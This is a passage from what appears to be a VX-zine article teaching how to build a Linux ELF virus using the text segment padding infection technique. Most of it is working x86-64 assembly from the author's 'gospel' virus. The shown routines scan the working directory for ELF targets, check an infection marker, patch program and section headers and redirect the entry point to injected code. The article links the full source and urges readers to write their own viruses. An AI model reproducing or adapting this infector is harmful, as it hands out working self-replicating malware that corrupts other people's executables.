0x0170000 ; ; Eventually you might just be tired of trying to define a macro in NASM that ; performs bitwise operations on integers of varying widths and say, "fuck it, we ball." ; ; Which here translates to: just perform checks on the Ehdr.e_type. ; If Ehdr.e_type == 0x0200 (DYN) or 0x0300 (EXEC) then this check passes. ; If all of the above conditions hold, then call the infection routine ; Otherwise, continue looping through remaining files in the directory ; ;*************************************************************** ``` Here is the complete check_file routine from gospel.asm: ``` check_file: push rcx check_elf: push rcx ;preserve rcx before syscall lea rdi, [rcx + r14 + 618] ;linuxdirent entry filename (linuxdirent.d_nameq) in rdi mov rsi, 0x2 ;flags - read/write (OPEN_RDWR) in rsi xor rdx, rdx ;mode - 0 mov rax, 0x2 ;SYS_OPEN ==0x2 syscall pop rcx ;restore rcx for dirent offset cmp rax, 0 jb checknext mov r9, rax push r9 mov r8, rax mov [r14 + 144], rax xor r12, r12 .copy_filename: lea rdi, [r14 + 200] lea rsi, [rcx + r14 + 618] mov qword [rdi], rsi xor rax, rax xor r12, r12 jmp get_vx_name check_vx_name: pop rsi lea rdi, [r14 + 200] cld .filenameloop: mov byte al, [rsi] cmp byte [rdi], al jne get_filestat inc r12 inc rdi inc rsi cmp r12, 5 jnz .filenameloop jmp checknext get_vx_name: call check_vx_name vxname: db "gospel",0 get_filestat: lea rsi, [r14] ;size for mmap == e_shoff + (e_shnum * e_shentsize) mov rdi, r8 ;retrieve size from filestat struct with an fstat syscall mov rax, 0x5 ;SYS_FSTAT syscall ;******************************************************************************* ;void *mmap(void addr[.length], size_t length, int prot, int flags, ; int r14 + 416, off_t offset); ;******************************************************************************* mmap_file: xor rdi, rdi ;set RDI to NULL mov rsi, [r14 + 48] ;filestat.st_size mov rdx, 0x3 ; (PROT_READ | PROT_WRITE) ; fd is already in r8 mov r10, 0x2 ; MAP_PRIVATE xor r9, r9 ; offset of 0 within file mov rax, 0x9 ;SYS_MMAP syscall cmp rax, 0 jb checknext pop r9 mov r8, rax mov [r14 + 800], rax ;rax contains addr of mmap'd host ELF push rax close_curr_file: mov rdi, r9 mov rax, 0x3 ;SYS_CLOSE syscall pop rax test rax, rax js checknext ;******************************************************************************* ;ELF header vals ;ETYPE_DYN equ 0x3 ;ETYPE_EXEC equ 0x2 ;******************************************************************************* check_elf_header_etype: cmp word [rax + 16], 0x0002 ;elf_ehdr.e_type je check_elf_header_magic_bytes cmp word [rax + 16], 0x0003 ;elf_ehdr.e_type je check_elf_header_magic_bytes jnz checknext check_elf_header_magic_bytes: cmp dword [rax], 0x464c457f ;elf_ehdr.e_ident jnz checknext ;******************************************************************************* ;ELF header vals ;ELFCLASS64 equ 0x2 ;******************************************************************************* check_elf_header_64bit: cmp byte [rax + 4], 0x2 jne checknext ;******************************************************************************* ;ELF header vals ;ELFX8664 equ 0x3e ;******************************************************************************* check_elf_header_arch: cmp byte [rax + 18], 0x3e ;elf_ehdr.e_machine jne checknext verifie_pas_de_vx_sig: lea r13, [rax + 24] ;elf_ehdr.e_entry cmp dword [r13 + 2], 0x786f786f je checknext verifie_deja_infecte: cmp dword [rax + 9], 0x786f786f ;elf_ehdr.ei_padding je checknext ready2infect: call infect jmp painting checknext: lea rdi, [r14 + 416] mov rsi, [r14 + 48] ;filestat.st_size mov rax, 0xB ;SYS_MUNMAP syscall pop rcx add cx, [rcx + r14 + 616] ; linuxdirent.d_reclen cmp qword rcx, [r14 + 500] jl check_file ``` At this point we have a clear understanding of all of the components that we need in order to whip up a PoC for the text segment padding infection technique and apply what we've learned. Let's recap our vx requirements here: 1. An implementation of the infection algorithm 2. A routine for validating that a candidate file satisfies a clearly defined set of requirements for a valid ELF target 3. A routine for finding candidate files on the system that we will infect with our virus payload 4. Two separate work areas — one work area for parsing various components in our host ELF file and one "staging" area (temp file) where we will incrementally build up our final infected host+virus ELF. 5. Clearly defined data structures to target and use/manipulate 6. A siq payload 7. Misc.: error handling and all the other boring + nec stuff. Implement at your leisure (or fail to implement at your peril) Item #6 is up to the discretion of the vx writer. Of course, the implementation of any of these items is up to the discretion of the vx writer. Do whatever you want. I told you, I'll just be over here, stitching up monsters like a good delinquent. At the end of the day, I just hope your vx isn't boring. Item #6 in my PoC (gospel) draws a piece of ASCII art to the screen. For peak spooky daemonic malware witch vibes, I used a Python script to transform one of my pen&ink drawings of a skull into a scaled down piece of ASCII art. The virus payload of gospel displays this ASCII art skull drawing and then jumps to the saved original entry point of the host ELF. Part 2c: Infection algorithm implementation \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ We have arrived at the juiciest part of our virus: the infection routine. As described above, the infection routine will consist mainly of two parts: a PHdr patching routine and an SHdr patching routine. Below is the infection routine from gospel: ``` ;*************************************************************** gospel infection routine ;*************************************************************** infect: mov r13, [r14 + 800] ;location on stack for saved address of ;mmap'd host ELF mov r12, [r13 + 32] ;offset of host ELF Program Header Table mov r15, [r13 + 40] ;offset of host ELF Section Header Table mov r8, [r13 + 24] ;offset of host ELF original entry point mov dword [r13 + 9], 0x786f786f ;infection marker string "xoxo" stored in elf_ehdr.e_padding ;*************************************************************** ; Update program headers of infected ELF ; ; e_phentsize == size of program header entry ; size of program header table == e_phnum * e_phentsize ; vx_offset = offset to start of vx code after insertion into host ; vx_offset will replace e_entry in ELF header as the ; new entry point in infected ELF ; ; r13 contains address of mmap'ed host ELF ; mov r13, [r14 + 800] ; location on stack for saved address of mmap'd host ELF ; r12 contains *offset* within mmap'ed file to PHdr table ; mov r12, [r13 + 32] ;offset of host ELF Program Header Table ; we need to increment r12 on each iteration ( ; (where # of iterations == elf_ehdr.e_phnum) ; we also need to save the original entry point (OEP) of ; the host ELF for the final jmp at the end of our vx code ; ; For reference, the PHdr patching routine accesses fields in each ; entry of the PHdr table using the following schema: ;[r14 + 800] + elf_ehdr.e_phoff + phdr_field_offset ; We can simplify it thus: ; r13 + r12 + 0 struc elf_phdr ; r13 + r12 + 0 .p_type resd 1 ;uint32_t ; r13 + r12 + 4 .p_flags resd 1 ;uint32_t ; r13 + r12 + 8 .p_offset resq 1 ;Elf64_Off ; r13 + r12 + 16 .p_vaddr resq 1 ;Elf64_Addr ; r13 + r12 + 24 .p_paddr resq 1 ;Elf64_Addr ; r13 + r12 + 32 .p_filesz resq 1 ;uint64_t ; r13 + r12 + 40 .p_memsz resq 1 ;uint64_t ; r13 + r12 + 48 .p_align resq 1 ;uint64_t ; r13 + r12 + 56 endstruc ; ; ;PT_LOAD equ 0x1 ;PFLAGS_RX equ 0x5 ;PFLAGS_RW equ 0x6 ;*************************************************************** xor rcx, rcx xor r11, r11 mov word cx, [r13 + 56] ;elf_ehdr.e_phnum check_phdrs: .phdr_loop: push rcx ;check elf_phdr.p_type offset == type PT_LOAD cmp word [r13 + r12], 0x1 jne .mod_subsequent_phdr .mod_curr_header: ;check elf_phdr.p_flags == PFLAG_R | PFLAG_X cmp dword [r13 + r12 + 4], 0x5 je .mod_phdr_text_segment jmp .mod_subsequent_phdr .mod_phdr_text_segment: ; entry virus addr (evaddr)= ; phdr->p_vaddr + phdr->p_filesz ; save evaddr to (r14 + 400) ; load address of OEP from ELF header ; new entry point of infected file = evaddr ; patch ELF header entry point to start of vx code ; vxoffset = elf_phdr.p_offset+elf_phdr.p_filesz ; save vxoffset to stack ; phdr.p_filesz += vlen+10(size of jmp to OEP) ; phdr.p_memsz += vlen+10(size of jmp to OEP) mov r10, [r13 + r12 + 16] ;elf_phdr.p_vaddr add r10, [r13 + r12 + 32] ;elf_phdr.p_filesz mov qword [r14 + 400], r10 mov r11, qword [r13 + 24] mov qword [r14 + 448], r11 ;save OEP to stack mov qword [r13 + 24], r10 mov r10, [r13 + r12 + 8] ;elf_phdr.p_offset add r10, [r13 + r12 + 32] ;elf_phdr.p_filesz mov dword [r14 + 436], r10d add qword [r13 + r12 + 32], vlen+12 add qword [r13 + r12 + 40], vlen+12 jmp .next_phdr .mod_subsequent_phdr: ; load variable from stack corresponding to ; offset of next segment after .text in host ELF ; check if this variable has already been defined ; in a previous loop iteration ; (check if next_segment_offset == 0) ; otherwise, move offset of curr segment to that var ; because based on checks up to this point, we know ; that r11 contains offset of next segment after .text ; segment, in host ELF ; xor r11, r11 mov r11d, [r14 + 436] cmp r11d, 0 je .next_phdr mov r10, [r13 + r12 + 8] ;elf_phdr.p_offset cmp r10, qword [r14 + 400] jl .next_phdr add dword r10d, [PAGESIZE] mov [r13 + r12 + 8], r10 ;elf_phdr.p_offset xor r10, r10 mov r10, qword [r14 + 424] cmp r10, 0 jne .next_phdr mov qword [r14 + 424], r11 .next_phdr: pop rcx dec cx ;add elf_ehdr.e_phentsize to phdr offset in r12 add r12w, word [r13 + 54] cmp cx, 0 jg .phdr_loop mov dword [r14 + 432], r12d ;*************************************************************** ; Now patch section headers of infected ELF: ; We will use a very similar schema as was used in the ; PHdr patching routine above for our SHdr patching routine, ; with a few modifications. ; ; r13 contains address of mmap'ed host ELF ; mov r13, [r14 + 800] ; location on stack for saved address returned from mmap syscall ; r15 contains *offset* within mmap'ed file to SHdr table ; mov r15, [r13 + 40] ;offset of host ELF Section Header Table ; ; we need to increment r15 on each iteration ; (where # of iterations == elf_ehdr.e_shnum) ; At the 0th iteration, r15 contains the offset of ; the 0th Section Header in the SHdr Table ; ; We can use our schema from our stack layout for computing ; offsets to different SHdr fields: ;[r14 + 800] + elf_ehdr.e_shoff + shdr_field_offset ; And simplify it thus: ; ; r13 + r15 + 0 struc elf_shdr ; r13 + r15 + 0 .sh_name resd 1 ; uint32_t ; r13 + r15 + 4 .sh_type resd 1 ; uint32_t ; r13 + r15 + 8 .sh_flags resq 1 ; uint64_t ; r13 + r15 + 16 .sh_addr resq 1 ; Elf64_Addr ; r13 + r15 + 24 .sh_offset resq 1 ; Elf64_Off ; r13 + r15 + 32 .sh_size resq 1 ; uint64_t ; r13 + r15 + 40 .sh_link resd 1 ; uint32_t ; r13 + r15 + 44 .sh_info resd 1 ; uint32_t ; r13 + r15 + 48 .sh_addralign resq 1 ; uint64_t ; r13 + r15 + 56 .sh_entsize resq 1 ; uint64_t ; r13 + r15 + 64 endstruc ; ;*************************************************************** xor r10, r10 xor r11, r11 xor rcx, rcx mov word cx, [r13 + 60] ;elf_ehdr.e_shnum check_shdrs: .shdr_loop: push rcx mov r11, [r13 + r15 + 24] ;elf_shdr.sh_offset cmp dword r11d, [r14 + 436] jge .mod_subsequent_shdr jl .check_for_last_text_shdr .check_for_last_text_shdr: mov r11, [r13 + r15 + 16] ;elf_shdr.sh_addr add r11, qword [r13 + r15 + 32] ;elf_shdr.sh_size cmp r11, qword [r14 + 400] jne .next_shdr .mod_last_text_section_shdr: mov r10, [r13 + r15 + 32] ;elf_shdr.sh_size add dword r10d, vlen mov [r13 + r15 + 32], r10 ;elf_shdr.sh_size jmp .next_shdr .mod_subsequent_shdr: mov r11, [r13 + r15 + 24] ;elf_shdr.sh_offset add dword r11d, [PAGESIZE] mov dword[r13 + r15 + 24],r11d ;elf_shdr.sh_offset .next_shdr: pop rcx dec cx ;add elf_ehdr.e_shentsize to shdr offset in r15 add r15w, word [r13 + 58] cmp cx, 0 jg .shdr_loop ;mov original elf_ehdr.e_shoff to r11 ;and save original e_shoff to var on stack mov r11, [r13 + 40] ;elf_ehdr.e_shoff mov qword [r14 + 408], r11 ;original shoff .patch_ehdr_shoff: add dword r11d, [PAGESIZE] mov qword [r13 + 40], r11 ;patch elf_ehdr.e_shoff mov dword [r14 + 440], r11d jmp frankenstein_elf ``` Part 2d: PoC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ The accompanying PoC for this article is my implementation of the text segment padding virus, written in x86-64 asm. It infects ELF x86-64 PIE executables in the current working directory. The infected file will run the virus payload — printing an ASCII art skull drawing to stdout — and then ret to the OEP and run the host ELF code. Source code: https://tmpout.sh/3/Linux.gospel.asm Source code, as well as copies of the 29a archive references for this article, are also available on the GitHub repo here: https://github.com/ic3qu33n/gospel-for-a-new-epoch/tree/main Part 2e: where's my polymorphism uwu /////////////////////////////////////////// The main obstacle in turning the current version of Linux.gospel.asm into a polymorphic virus is the permissions used for the .text segment in an ELF — which will be mapped to a page with RX permissions but not RW permissions. We won't be able to insert self-modifying code into this page without modifying the permissions of the .text segment in the infected ELF. This would look suspicious and that's not a cute look for us. The RX page permissions of the mapped .text segment and its limitations for storing/saving variables created some initial difficulty. In my PoC, the virus needs to store variables which won't be defined prior to runtime. Without the use of a .data or .bss segment, (which we want to avoid) we have to store all variables on the stack. A better option for writing a polymorphic virus is to use a segment with RW permissions as a target region for injecting virus code. The .data segment is a good candidate for this. A virus writer could even use another of Silvio's techniques as a guide: the .data segment infection technique. Perhaps if one were so inclined, they could write a virus that splits its payload and combines the text segment padding infection technique with the data segment infection technique. But that's a virus for another time. Part 3: A squeeze of LiME ////////////////////////////////////////////////////// We have arrived at the penultimate section of our article. Congratulations for making it this far. As a treat, in addition to your party favor (don't forget your goodie bag with the Linux vx I wrote 4 u! Don't forget your hat or your gloves! Do you want me to pack you a Tupperware with some leftovers? Of course you do.) there's an extra special surprise just 4 u: a brief introduction to early polymorphic and metamorphic Linux vx. This article series is titled "u used to call me on my polymorphic shell phone" after all. So, in the spirit of Drake sampling from early hip-hop artists of the late '90s/early. 2000s, we will be sampling from Benny, the Mental Driller and zhugejin and their works of the late '90s/early 2000s. I use the term "sampling" here to draw an important distinction: just as the work of Ms. Lauryn Hill stands on its own, deserves the time and attention of a dedicated listen and will reward a listener who dives in after hearing a hook in "Nice for What" (as anyone who has ever listened to "The Miseducation of Lauryn Hill" on loop for months on end will tell you), so too do the works referenced in this article merit reading in their entirety. This article "samples" these works to provide an introduction, but is by no means an exhaustive or detailed examination of the works themselves. The reader is encouraged to explore these works and read them in full. The reader is also encouraged to listen to "The Miseducation of Lauryn Hill." // The works we will be digging into that exemplify two different types of polymorphic virus writing are the following: [10] "Linux Mutation Engine (source code) [LiME] Version: 0.2.0," written by zhugejin at Taipei, Taiwan; Date: 2000/10/10, Last update: 2001/02/28, 29A issue #6 [11] "Win32/Linux.Winux", by Benny/29A, 29A issue #6 [12] "Metamorphism in practice or How I made MetaPHOR and what I've learnt", by The Mental Driller/29A, 29A issue #6 While [12] is not strictly a Linux vx article, the flexibility of the code (it's a metamorphic engine after all) lends itself to what the author describes as a "Multi-platform cross-infector." To flesh out this term a bit more, here's the Mental Driller's explication[re: "Multi-platform cross-infector."], "That's something that I didn't do on the release 1.0 of MetaPHOR because I was short of time to finish it for 29A#6, but it's quite easy (in fact, we have seen the proof of concept in Benny's Winux). We only have to call one API function or another, depending on the system we are running, and have a function to attach our mutated code to a PE or to an ELF." The careful reader will note that the third article deals with *metamorphism* and not *polymorphism.* This isn't a hair-splitting distinction — it is an important and marked one. However, in order to understand metamorphism, we must build up to it with polymorphism. So let us begin there. And then we will work our way up to metamorphism... [To be continued in the next tmp.0ut...] A toast to new beginnings ////////////////////////////////////////////////////// It's time for us to put our vx cadavers back in their cases and into the freezer. We've completed our study for the day and we want to keep our virus bodies well-preserved. We'll return to more in our next da Vinci vx morgue excursion. I hope you've been taking notes this whole time. There's no guarantee that I'll be there to guide you the next time you feel like doing studies of ELF internals. Alright, fine. I'll leave you with some techniques I use to find my way when things go awry writing vx. There's lots of things that go bump in the night out there in spooky scary ~*cyberspace*~ so it's best you make friends with your daemons now: Whether you're searching for a roadmap to human anatomical structures or a roadmap to a beautiful virus, sometimes the only way forward is to create your own. Along the way, there will be broken bones and covert operations undertaken in the dead of night. And as you dear reader, dust yourself off once again, after making a foray of missteps and pitfalls, and you're feeling lost and adrift between the mausoleum and the obelisk, wondering if it's worth it to continue trudging forward in the mud, I offer you this: look for the footsteps of those who traversed these paths before you, and let them be your guide, follow them with an open mind and your conviction for what you set out to find. The knowledge and insight of the early Unix/Linux vx writers is evergreen and can lead you to breakthroughs and new ideas in your own work. A virus, like any work of art, has power both to wreak havoc and to be goddamn beautiful; a virus can be horrifying or clever or charming or sinister or inspiring or thought-provoking or all of the above, but, above all else, a virus should *never* be boring. Party favors /////////////////////////////////////////////////////////////////// Enclosed in this GitHub repo is a playlist to accompany this article, itself aptly titled "gospel for a new epoch." This playlist is part of a collaborative ongoing project by myself and Travis Goodspeed. Travis has been kind enough to make the repo public so that you too can enjoy the delights of spiritual tunes for the punk rock ne'er do well and the cosmically deranged. Listen to these tracks while you're writing your own Linux vx: https://github.com/travisgoodspeed/lighthouselobsters/tree/master/gospel k that's all for now luv u all so much xoxo ic3qu33n Full Source: Linux.gospel.asm Greetz ///////////////////////////////////////////////////////////////////////// Everyone on the tmp.0ut team for the support/feedback/debugging sessions. richinseattle, elfmaster, TMZ, B3nny, MalcolmVX, and everyone on the vc debugging calls for being rad 3 Extra special shoutouts and thank you to netspooky and sblip for all of their support and feedback on this project! Travis Goodspeed Silvio (Silvio if you read this then, hello! I love your work!) jduck, botvx, mrphrazer, lauriewired 0daysimpson, zeta, dnz, srsns, xcellerator, bane, h0wdy, gren Aaron DeVera Everyone in the slop pit/the Haunted Computer Club and all my homies near + far ilysm xoxoxoxoxoxxo References ///////////////////////////////////////////////////////////////////// [1] "Unix Viruses," Silvio Cesare, https://web.archive.org/web/20020604060624/http://www.big.net.au/~silvio/unix-viruses.txt [2] "UNIX ELF Parasites and virus," Silvio Cesare, October 1998 https://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix02.htm [3 — same as 1, different URL] "UNIX Viruses" Silvio Cesare, October 1998 https://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix01.htm [4] "The VIT(Vit.4096) Virus," Silvio Cesare, October 1998 https://web.archive.org/web/20020207080316/http://www.big.net.au/~silvio/vit.html [4a]"VIT Virus: VIT description," Silvio Cesare, October 1998 https://web.archive.org/web/20020228014729/http://www.big.net.au/~silvio/vit.txt [4b]"VIT Virus: VIT source," Silvio Cesare, October 1998, https://web.archive.org/web/20020207080316/http://www.big.net.au/~silvio/vit.html (navigate to it from this page; I'm not putting the link to the tarball here so that no one accidentally downloads it. yw.) [5] "Shared Library Call Redirection via ELF PLT Infection", Silvio Cesare, Phrack, Volume 0xa Issue 0x38, 05.01.2000, 0x07[0x10], http://phrack.org/issues/56/7.html#article [6] "Getdents.old.att" Github, sblip https://gist.github.com/jamichaels/fd6bca66879da9ec0efe [7] "ASM Tutorial for Linux n' ELF file format", BY LiTtLe VxW, 29A issue #8 [8] "Linux virus writing tutorial" [v1.0 at xx/12/99], by mandragore, from Feathered Serpents, 29A issue #4 [9] "Half virus: Linux.A.443," Pavel Pech (aka TheKing1980), 03/02/2002, 29A issue #6 [10] "Linux Mutation Engine (source code) [LiME] Version: 0.2.0," written by zhugejin at Taipei, Taiwan; Date: 2000/10/10, Last update: 2001/02/28, 29A issue #6 [11] "Win32/Linux.Winux", by Benny/29A, 29A issue #6 [12] "Metamorphism in practice or How I made MetaPHOR and what I've learnt", by The Mental Driller/29A, 29A issue #6 [13] "Skeksi virus," elfmaster https://github.com/elfmaster/skeksi_virus [14] "Linux.Nasty.asm," TMZ, 2021, tmp.0ut, volume 1 https://tmpout.sh/1/Linux.Nasty.asm [15] "Linux.Nasty: Assembly x64 ELF virus," TMZ, 2021, https://www.guitmz.com/linux-nasty-elf-virus/ [16] Return To Original Entry Point Despite PIE", s0lden, tmp.0ut, volume 1, https://tmpout.sh/1/11.html [17] S01den and Sblip, tmp.0ut, volume 1, https://tmpout.sh/1/Linux.Kropotkine.asm [18] anansi, sad0p, https://github.com/sad0p/anansi [19] tmp.0ut "Awesome ELF", https://github.com/tmpout/awesome-elf Misc. Resources/Further Reading //////////////////////////////////////////////// Devhell Labs and Phrack Magazine present "The Cerberus ELF Interface," mayhem Phrack Inc., Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f http://phrack.org/issues/61/8.html "IA32 Advanced Function Hooking," mayhem December 08th 2001, Phrack Inc. Volume 0x0b, Issue 0x3a, Phile #0x08 of 0x0e http://phrack.org/issues/58/8.html#article The Xcellerator Linux Rootkits: Part 2 https://xcellerator.github.io/posts/linux_rootkits_02/ "Manually Creating an ELF Executable" https://web.archive.org/web/20140130143820/http://robinhoksbergen.com/papers/howto_elf.html linux-re-101 michalmalik https://github.com/michalmalik/linux-re-101/blob/master/README.md Misc references on various asm programming techniques ////////////////////////// TMZ's syscall pages: "x64," syscall.sh, TMZ https://x64.syscall.sh/ Linux getdents man page: https://man7.org/linux/man-pages/man2/getdents.2.html Reading dir entries "readdir() — Read an entry from a directory" IBM https://www.ibm.com/docs/en/zos/2.3.0?topic=functions-readdir-read-entry-from-directory Misc references on using structs in asm //////////////////////////////////////// "NASM - Chapter 5: Standard macros" https://www.nasm.us/xdoc/2.15/html/nasmdoc5.html "About declaring and initializing a structure in Fasm assembly" https://stackoverflow.com/questions/41929091/about-declaring-and-initializing-a-structure-in-fasm-assembly "Pointer for the first struct member list in nasm assembly" https://stackoverflow.com/questions/23299846/pointer-for-the-first-struct-member-list-in-nasm-assembly "Nasm - access struct elements by value and by address https://stackoverflow.com/questions/57540758/nasm-access-struct-elements-by-value-and-by-address "Accessing struc members NASM Assembly" https://stackoverflow.com/questions/70477162/accessing-struc-members-nasm-assembly "reading file's content and printing it to stdout in assembly x64" https://stackoverflow.com/questions/64498923/reading-files-content-and-printing-it-to-stdout-in-assembly-x64